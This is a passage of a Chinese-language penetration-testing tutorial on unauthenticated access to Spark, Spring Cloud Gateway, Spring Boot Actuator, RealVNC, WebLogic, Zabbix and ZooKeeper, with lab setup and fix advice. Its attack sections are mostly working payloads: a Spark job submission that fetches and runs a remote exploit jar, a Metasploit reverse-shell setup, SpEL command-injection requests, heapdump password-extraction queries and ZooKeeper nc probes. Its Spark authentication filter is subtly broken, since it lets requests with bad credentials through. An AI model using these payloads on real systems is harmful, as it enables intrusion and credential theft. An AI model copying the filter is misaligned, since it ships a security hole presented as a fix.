Content-Length: 680{"action": "CreateSubmissionRequest","clientSparkVersion": "2.3.1","appArgs": ["whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"],"appResource": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","environmentVariables": {"SPARK_ENV_LOADED": "1"},"mainClass": "Exploit","sparkProperties": {"spark.jars": "https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar","spark.driver.supervise": "false","spark.app.name": "Exploit","spark.eventLog.enabled": "true","spark.submit.deployMode": "cluster","spark.master": "spark://your-ip:6066"}
}
其中,spark.jars
即是编译好的应用,mainClass是待运行的类,appArgs是传给应用的参数。
此时访问http://your-ip:8081
已经加载了exploit.jar
返回的包中有submissionId(driver-20220516074753-0000
),然后访问http://your-ip:8081/logPage/?driverId={submissionId}&logType=stdout
,即可查看执行结果:
利用submissions网关(集成在7077端口中)
如果6066端口不能访问,或做了权限控制,我们可以利用master的主端口7077,来提交应用。
方法是利用Apache Spark自带的脚本bin/spark-submit
:
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
如果你指定的master参数是rest服务器,这个脚本会先尝试使用rest api来提交应用;如果发现不是rest服务器,则会降级到使用submission gateway来提交应用。
查看结果的方式与前面一致。
MSF
msf5>use exploit/linux/http/spark_unauth_rce
msf5>set payload java/meterpreter/reverse_tcp
msf5>set rhost 192.168.100.2
msf5>set rport 6066
msf5>set lhost 192.168.100.1
msf5>set lport 4444
msf5>set srvhost 192.168.100.1
msf5>set srvport 8080
msf5>exploit
修复方案
创建认证filter对应的jar包
在idea中通过maven编译源码方式。
添加maven依赖
创建maven项目后,pom.xml添加如下依赖:
<dependencies><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.10</version></dependency><dependency><groupId>org.slf4j</groupId><artifactId>slf4j-api</artifactId><version>1.7.35</version></dependency><!-- logback 依赖 --><dependency><groupId>ch.qos.logback</groupId><artifactId>logback-classic</artifactId><version>1.2.3</version></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><version>4.0.1</version><scope>provided</scope></dependency><dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.11</version></dependency></dependencies>
创建com.demo包
package com.demo;import org.apache.commons.codec.binary.Base64;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;import javax.servlet.*;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.util.StringTokenizer;public class SparkAuthFilter implements Filter {/*** Logger*/private static final Logger LOG = LoggerFactory.getLogger(SparkAuthFilter.class);private String username = "";private String password = "";private String realm = "Protected";@Overridepublic void init(FilterConfig filterConfig) throws ServletException {username = filterConfig.getInitParameter("username");password = filterConfig.getInitParameter("password");}@Overridepublic void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain)throws IOException, ServletException {HttpServletRequest request = (HttpServletRequest) servletRequest;HttpServletResponse response = (HttpServletResponse) servletResponse;String authHeader = request.getHeader("Authorization");if (authHeader != null) {StringTokenizer st = new StringTokenizer(authHeader);if (st.hasMoreTokens()) {String basic = st.nextToken();if (basic.equalsIgnoreCase("Basic")) {try {String credentials = new String(Base64.decodeBase64(st.nextToken()), "UTF-8");LOG.debug("Credentials: " + credentials);int p = credentials.indexOf(":");if (p != -1) {String _username = credentials.substring(0, p).trim();String _password = credentials.substring(p + 1).trim();if (!username.equals(_username) || !password.equals(_password)) {unauthorized(response, "Bad credentials");}filterChain.doFilter(servletRequest, servletResponse);} else {unauthorized(response, "Invalid authentication token");}} catch (UnsupportedEncodingException e) {throw new Error("Couldn't retrieve authentication", e);}}}} else {unauthorized(response);}}@Overridepublic void destroy() {}private void unauthorized(HttpServletResponse response, String message) throws IOException {response.setHeader("WWW-Authenticate", "Basic realm=\"" + realm + "\"");response.sendError(401, message);}private void unauthorized(HttpServletResponse response) throws IOException {unauthorized(response, "Unauthorized");}public static void main(String[] args) {}}
这段代码是一个 Java 的 Servlet Filter 类,名为 SparkAuthFilter。该类实现了 Filter 接口,在接收 HTTP 请求时可以对请求进行认证,并决定是否允许该请求继续向下传递。
在 Filter 初始化时,可以从配置中读取 username 和 password,并赋值到类的实例变量中。
对于每一个请求,程序会检查请求的 Authorization header 是否存在,并判断是否是 Basic 认证方式。如果是,程序会对 header 中的认证凭证进行解码,并与 username 和 password 进行比较,如果一致则允许请求继续,否则返回 401 Unauthorized。
在返回 401 Unauthorized 时,程序会在 HTTP 响应的 WWW-Authenticate header 中加入认证需要使用的 realm 信息。
使用maven进行编译,编译的jar包在target目录下面。
执行配置
- 将jar包上传到spark的
jars
目录。 spark-defaults.conf
配置文件中,增加如下配置:
spark.ui.filters=com.demo.SparkAuthFilter
spark.com.demo.SparkAuthFilter.param.username=test
spark.com.demo.SparkAuthFilter.param.password=password
spark.acls.enable=true
重启spark集群
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/stop-all.sh
[root@localhost ~]# /opt/spark-2.3.2-bin-hadoop2.6/sbin/start-all.sh
Spring Cloud Gateway Server 未授权访问漏洞
漏洞描述
Spring Cloud Gateway是Spring中的一个API网关。其3.1.0及3.0.6版本(包含)以前存在一处SpEL表达式注入漏洞,当攻击者可以访问Actuator API的情况下,将可以利用该漏洞执行任意命令。
环境搭建
执行如下命令启动一个使用了Spring Cloud Gateway 3.1.0的Web服务:
docker-compose up -d
服务启动后,访问http://your-ip:8080
即可看到演示页面,这个页面的上游就是example.com。
漏洞复现
利用这个漏洞需要分多步。
首先,发送如下数据包即可添加一个包含恶意SpEL表达式的路由:
POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329{"id": "hacktest","filters": [{"name": "AddResponseHeader","args": {"name": "Result","value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"}}],"uri": "http://example.com"
}
然后,发送如下数据包应用刚添加的路由。这个数据包将触发SpEL表达式的执行:
POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
发送如下数据包即可查看执行结果:
最后,发送如下数据包清理现场,删除所添加的路由:
DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.0.5:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Upgrade-Insecure-Requests: 1
再刷新下路由:
SpringBoot Actuator未授权访问漏洞
简介
Spring Boot Actuator是Spring Boot项目中的一个模块,它提供了一组用于监控和管理Spring Boot应用程序的端点。这些端点可以用来检索应用程序的运行状态、查看应用程序的统计数据、查看应用程序中的配置信息等。
此外,还可以使用Actuator执行一些安全操作,如关闭应用程序。使用Actuator可以更好的监控、管理和维护Spring Boot应用程序。
其中以下是它端点:
Http | 路径 | 描述 |
---|---|---|
get | /autoconfig | 提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过 |
get | /configprops | 描述配置属性(包含默认值)如何注入 Bean |
get | /beans | 描述应用程序上下文里全部的 Bean,以及它们的关系 |
get | /dump | 获取线程活动的快照 |
get | /env | 获取全部环境属性 |
get | /env/{name} | 根据名称获取特定的环境属性值 |
get | /health | 报告应用程序的健康指标,这些值由 HealthIndicator 的实现类提供 |
get | /info | 获取应用程序的定制信息,这些信息由 info 打头的属性提供 |
get | /mappings | 描述全部的 URI 路径,以及它们和控制器(包含 Actuator 端点)的映射关系 |
get | /metrics | 报告各种应用程序度量信息,比如内存用量和 HTTP 请求计数 |
get | /metrics/{name} | 报告指定名称的应用程序度量值 |
post | /shutdown | 关闭应用程序,要求 endpoints.shutdown.enabled 设置为 true(默认为 false) |
get | /trace | 提供基本的 HTTP 请求跟踪信息(时间戳、HTTP 头等) |
get | /heapdump | 获取正在运行的JVM的堆转储 |
环境搭建
SpringBoot Actuator未授权访问漏洞分为1.x版本和2.x版本。
srpingboot 2.x
下载demo代码
git clone https://github.com/callicoder/spring-boot-actuator-demo.git
maven将项目代码构建成jar包。
mvn package
启动Spring Boot应用程序
java -jar target/actuator-demo-0.0.1-SNAPSHOT.jar
浏览器访问: http://localhost:8080.
srpingboot 1.x
使用IDEA新建一个maven项目。修改pom.xml
,声明了一个父级依赖关系,表示该项目依赖于Spring Boot的spring-boot-starter-parent
项目,版本为1.4.6.RELEASE。
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>1.4.6.RELEASE</version></parent><!-- Add typical dependencies for a web application --><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-actuator</artifactId></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build>
新增测试文件:\src\main\java\Example.java
import org.springframework.boot.*;
import org.springframework.boot.autoconfigure.*;
import org.springframework.stereotype.*;
import org.springframework.web.bind.annotation.*;@RestController
@EnableAutoConfiguration
public class Example {@RequestMapping("/")String home() {return "Hello World!";}public static void main(String[] args) throws Exception {SpringApplication.run(Example.class, args);}}
修改application.properties
endpoints.beans.enabled=true
spring.redis.password=123456
漏洞复现
srpingboot 2.x
访问/info
接口,泄露springboot项目信息。
访问/env
接口,泄露springboot环境变量信息。
springboot 1.x
访问/metrics
接口,显示应用的信息。
访问/trace
接口,显示访问数据包具体信息。
heapdump泄露读取
Spring Boot Actuator的堆转储功能如果没有适当的配置,可能是一个安全漏洞。它允许通过URL获取正在运行的JVM的堆转储,其中可能包含敏感信息。
访问/heapdump
接口下载heapdump文件。
jvisualvm分析
JVisualVM是由Oracle提供的Java可视化和监控工具。它包含在Oracle JDK分发版中,可用于监视和配置Java应用程序,诊断性能问题,并检查内存使用和堆转储。
JVisualVM提供了各种功能,包括:
- 监控JVM性能、内存使用和线程
- 配置Java应用程序的CPU和内存使用情况
- 堆转储分析和内存泄漏检测
- JMX控制台,用于检查和管理MBeans
打开jvisualvm.exe
加载heapdump文件
在工具菜单栏点击插件,安装OQL插件
构建OQL语句进行关键字查询,从而获取明文密码。
Spring boot 1.x版本查询语句:
select s.value.toString() from java.util.Hashtable$Entry s where /password/.test(s.key.toString())
Spring boot 2.x版本查询语句:
select s.value.toString() from java.util.LinkedHashMap$Entry s where /password/.test(s.key.toString())
jhat
JHat是Java堆分析工具。它可以用于分析Java堆转储文件,以找出内存泄漏和其他内存问题。并且提供了一个网页界面,允许用户浏览堆转储中的对象,检查引用关系,检查内存使用情况等。
使用jhat命令分析heapdump文件,会启动7000端口web页面。
访问7000端口,需要人工搜索关键字。
heapdump_tool
本质上是基于jhat,通过通过jhat解析heapdump文件,从而实现heapdump敏感信息搜索。
下载链接:https://toolaffix.oss-cn-beijing.aliyuncs.com/heapdump_tool.jar
java -jar heapdump_tool.jar heapdump
选择1,获取全部内容
然后输入关键字
查询方式:
- 关键词 例如 password
- 字符长度 len=10 获取长度为10的所有key或者value值
- 按顺序获取 num=1-100 获取顺序1-100的字符
获取url,file,ip
geturl 获取所有字符串中的url
getfile 获取所有字符串中的文件路径文件名
getip 获取所有字符串中的ip
默认不输出查询结果非key-value格式的数据,需要获取所有值,输入all=true,all=false取消显示所有值。
mat
Heap Dump也叫堆转储文件,是一个Java进程在某个时间点上的内存快照。
可以使用Eclipse MemoryAnalyzer 工具对泄露的heapdump文件进行分析,查询加载到内存中的明文密码信息。
独立版下载地址:http://www.eclipse.org/mat/downloads.php
最新版用Java 11,可以下载历史版本
spring boot 1.x 版本 heapdump 查询结果,最终结果存储在 java.util.Hashtable$Entry
实例的键值对中
select * from org.springframework.web.context.support.StandardServletEnvironment
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry
实例的键值对中:
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
修复建议
springboot 2.x修复方法
禁用接口
application.properties
配置文件内改成:management.endpoint.beans.enabled=false
management.endpoint.beans.enabled=false
actuator接口进行鉴权
application.properties
# Spring Security default user name and password
spring.security.user.name=actuator
spring.security.user.password=actuator
spring.security.user.roles=ACTUATOR_ADMIN
如果需要访问actuator接口,则可以自定义代码,引用security进行鉴权访问。
\src\main\java\com\example\actuatordemo\config\ActuatorSecurityConfig.java
package com.example.actuatordemo.config;import org.springframework.boot.actuate.autoconfigure.security.servlet.EndpointRequest;
import org.springframework.boot.actuate.context.ShutdownEndpoint;
import org.springframework.boot.autoconfigure.security.servlet.PathRequest;
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.builders.HttpSecurity;
import org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;@Configuration
public class ActuatorSecurityConfig extends WebSecurityConfigurerAdapter {/*This spring security configuration does the following1. Restrict access to the Shutdown endpoint to the ACTUATOR_ADMIN role.2. Allow access to all other actuator endpoints.3. Allow access to static resources.4. Allow access to the home page (/).5. All other requests need to be authenticated.5. Enable http basic authentication to make the configuration complete.You are free to use any other form of authentication.*/@Overrideprotected void configure(HttpSecurity http) throws Exception {http.authorizeRequests()//注释掉可以对actuator路径进行鉴权
// .requestMatchers(EndpointRequest.to(ShutdownEndpoint.class))
// .hasRole("ACTUATOR_ADMIN")
// .requestMatchers(EndpointRequest.toAnyEndpoint())
// .permitAll().requestMatchers(PathRequest.toStaticResources().atCommonLocations()).permitAll().antMatchers("/", "/slowApi").permitAll().antMatchers("/**").authenticated().and().httpBasic();}
}
此Spring Security配置执行以下操作:
- 对Shutdown端点的访问受限制,仅限于ACTUATOR_ADMIN角色。
- 允许对所有其他actuator端点的访问。
- 允许对静态资源的访问。
- 允许访问主页(/)。
- 所有其他请求都需要进行身份验证。
- 启用http基本身份验证以完成配置。您可以自由使用其他形式的身份验证。
\src\main\java\com\example\actuatordemo\controller\SampleController.java
package com.example.actuatordemo.controller;import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;import java.util.Random;
import java.util.concurrent.TimeUnit;@RestController
public class SampleController {@GetMapping("/")public String sayHello(@RequestParam(value = "name", defaultValue = "Guest") String name) {return "Hello " + name + "!!";}@GetMapping("/slowApi")public String timeConsumingAPI(@RequestParam(value = "delay", defaultValue = "0") Integer delay) throws InterruptedException {if(delay == 0) {Random random = new Random();delay = random.nextInt(10);}TimeUnit.SECONDS.sleep(delay);return "Result";}}
此控制器执行以下操作:
- 定义了一个"/ "路径,返回带有请求参数名称的问候语。
- 定义了一个"/slowApi"路径,可以模拟耗时的API请求,可以通过请求参数"delay"指定延迟,如果未指定,则随机生成延迟。
\src\main\java\com\example\actuatordemo\health\CustomHealthIndicator.java
package com.example.actuatordemo.health;import org.springframework.boot.actuate.health.AbstractHealthIndicator;
import org.springframework.boot.actuate.health.Health;
import org.springframework.stereotype.Component;@Component
public class CustomHealthIndicator extends AbstractHealthIndicator {@Overrideprotected void doHealthCheck(Health.Builder builder) throws Exception {// Use the builder to build the health status details that should be reported.// If you throw an exception, the status will be DOWN with the exception message.builder.up().withDetail("app", "Alive and Kicking").withDetail("error", "Nothing! I'm good.");}
}
这是一个健康指标组件,继承自AbstractHealthIndicator。
doHealthCheck方法构建健康状态的详细信息,如果抛出异常,状态将是DOWN,并带有异常信息。
该示例报告应用程序的健康状态是"Alive and Kicking",错误是"Nothing! I’m good."
启动服务访问actuator就可以看到需要输入密码
springboot 1.x修复方案
禁用接口
#关闭全部接口
endpoints.enabled = false###只开启某些接口
#endpoints.beans.enabled = true
#endpoints.env.enabled = true
#endpoints.trace.enabled = true
#endpoints.metrics.enabled = true
鉴权
另外也可以引入spring-boot-starter-security
依赖
<dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-security</artifactId></dependency>
在application.properties
中指定actuator的端口以及开启security功能,配置访问权限验证,这时再访问actuator功能时就会弹出登录窗口,需要输入账号密码验证后才允许访问。
management.security.enabled=true
security.user.name=admin
security.user.password=admin
VNC Server 未授权访问漏洞
CVE-2006-2369
漏洞描述
RealVNC VNC Server是英国RealVNC公司的一个远程访问软件的 VNC 服务器。
RealVNC VNC Server 存在授权问题漏洞,该漏洞源于采用的RFB(远程帧缓冲区)协议允许客户端与服务端协商合适的认证方法,协议的实现上存在设计错误,远程攻击者可以绕过认证无需口令实现对服务器的访问。
影响范围
RealVNC <= 4.1.1
环境搭建
win2003系统
下载地址:https://www.filesoul.com/software/RealVNC/4-1-1/download/
进行安装(一直下一步即可)
漏洞利用
vncviewer 192.168.32.252
防御手段
-
配置 VNC 客户端登录口令认证并配置符合密码强度要求的密码。
-
以最小普通权限身份运行操作系统。
Weblogic 未授权访问漏洞
漏洞描述
Weblogic是Oracle公司推出的J2EE应用服务器,CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
漏洞检测
使用vulhub搭建漏洞演示环境
cd vulhub/weblogic/CVE-2020-14882
sudo docker-compose up -d
http://192.168.0.5:7001/console/css/%252e%252e%252fconsole.portal
攻击者可以构造特殊请求的URL,即可未授权访问到管理后台页面:
远程攻击者可以构造特殊的HTTP请求,在未经身份验证的情况下接管 WebLogic Server Console ,并在 WebLogic Server Console 执行任意代码。
Zabbix未授权访问漏洞
漏洞描述
Zabbix存在一个未授权访问漏洞,通过该漏洞,攻击者可以在未经授权的情况下访问Zabbix服务器上的数据,导致敏感信息泄露。
影响版本
Zabbix <= 4.4
环境搭建
docker run -p 10051:10051 -p 80:80 zabbix/zabbix-appliance:ubuntu-4.0.12
漏洞利用
访问:http://192.168.32.183/zabbix.php?action=problem.view&ddreset=1
访问:http://192.168.32.183/overview.php?ddreset=1
访问:http://192.168.32.183/latest.php?ddreset=1
还有以下链接可以访问:
- https://TARGET/zabbix/zabbix.php?action=dashboard.view
- https://TARGET/zabbix/zabbix.php?action=dashboard.view&ddreset=1
- https://TARGET/zabbix/zabbix.php?action=problem.view&ddreset=1
- https://TARGET/zabbix/overview.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=web.view&ddreset=1
- https://TARGET/zabbix/latest.php?ddreset=1
- https://TARGET/zabbix/charts.php?ddreset=1
- https://TARGET/zabbix/screens.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=map.view&ddreset=1
- https://TARGET/zabbix/srv_status.php?ddreset=1
- https://TARGET/zabbix/hostinventoriesoverview.php?ddreset=1
- https://TARGET/zabbix/hostinventories.php?ddreset=1
- https://TARGET/zabbix/report2.php?ddreset=1
- https://TARGET/zabbix/toptriggers.php?ddreset=1
- https://TARGET/zabbix/zabbix.php?action=dashboard.list
- https://TARGET/zabbix/zabbix.php?action=dashboard.view&dashboardid=1
ZooKeeper未授权访问漏洞
漏洞描述
ZooKeeper默认开启在2181端口,在未进行任何访问控制情况下,攻击者可通过执行envi命令获得系统大量的敏感信息,包括系统名称、Java环境。
环境搭建
Zookeeper的默认开放端口是2181
wget https://archive.apache.org/dist/zookeeper/zookeeper-3.4.10/zookeeper-3.4.10.tar.gztar -zxvf zookeepre-3.4.10.tar.gz
cd zookeeper-3.4.10/
cd conf/
vi zoo.cfg
### 配置单机模式
tickTime=2000
dataDir=/tmp/zookeeper/data
dataLogDir=/tmp/zookeeper/logs
clientPort=2181 bin/zkServer.sh start //启动
### 启动client连接server
bin/zkCli.sh -server localhost:2181
漏洞利用
执行以下命令即可远程获取该服务器的环境:
echo envi | nc 192.168.32.131 2181
stat:列出关于性能和连接的客户端的统计信息。
echo stat |nc 192.168.32.131 2181
ruok:测试服务器是否运行在非错误状态。
echo ruok |ncat 127.0.0.1 2181
reqs:列出未完成的请求。
echo reqs |ncat 127.0.0.1 2181
envi:打印有关服务环境的详细信息。
echo envi |ncat 127.0.0.1 2181
dump:列出未完成的会话和临时节点。
echo dump |ncat 127.0.0.1 2181
修复建议
禁止把Zookeeper直接暴露在公网
添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
绑定指定IP访问 (推荐):
1、登陆zookeeper
./zkCli.sh -server <IP>:<port>
2、查看当前权限:
getAcl /
3、添加可访问IP
setAcl / ip:192.168.1.xx:cdrwa,ip:192.168.1.xx:cdrwa
4、查看是否正常添加
getAcl /
未授权也可以连接,但是查看节点时会报错KeeperErrorCode = NoAuth for /
,localhost都不行,必须填可访问IP,才能访问。
[zk: localhost:2181(CONNECTED) 0] ls /
KeeperErrorCode = NoAuth for /
[zk: localhost:2181(CONNECTED) 1]
回退办法:
使用之前设置的IP进行访问:
./zkCli.sh -server <IP>:<port>
设置为所有人可访问:
setAcl / world:anyone:cdrwa
设置身份验证
为ZooKeeper配置相应的访问权限。
1)增加一个认证用户
addauth digest 用户名:密码明文
addauth digest user1:password1
2)设置权限
setAcl /path auth:用户名:密码明文:权限
setAcl /path digest:用户名:密码密文:权限
setAcl /test auth:user1:password1:cdrwa
3)查看Acl设置
getAcl /path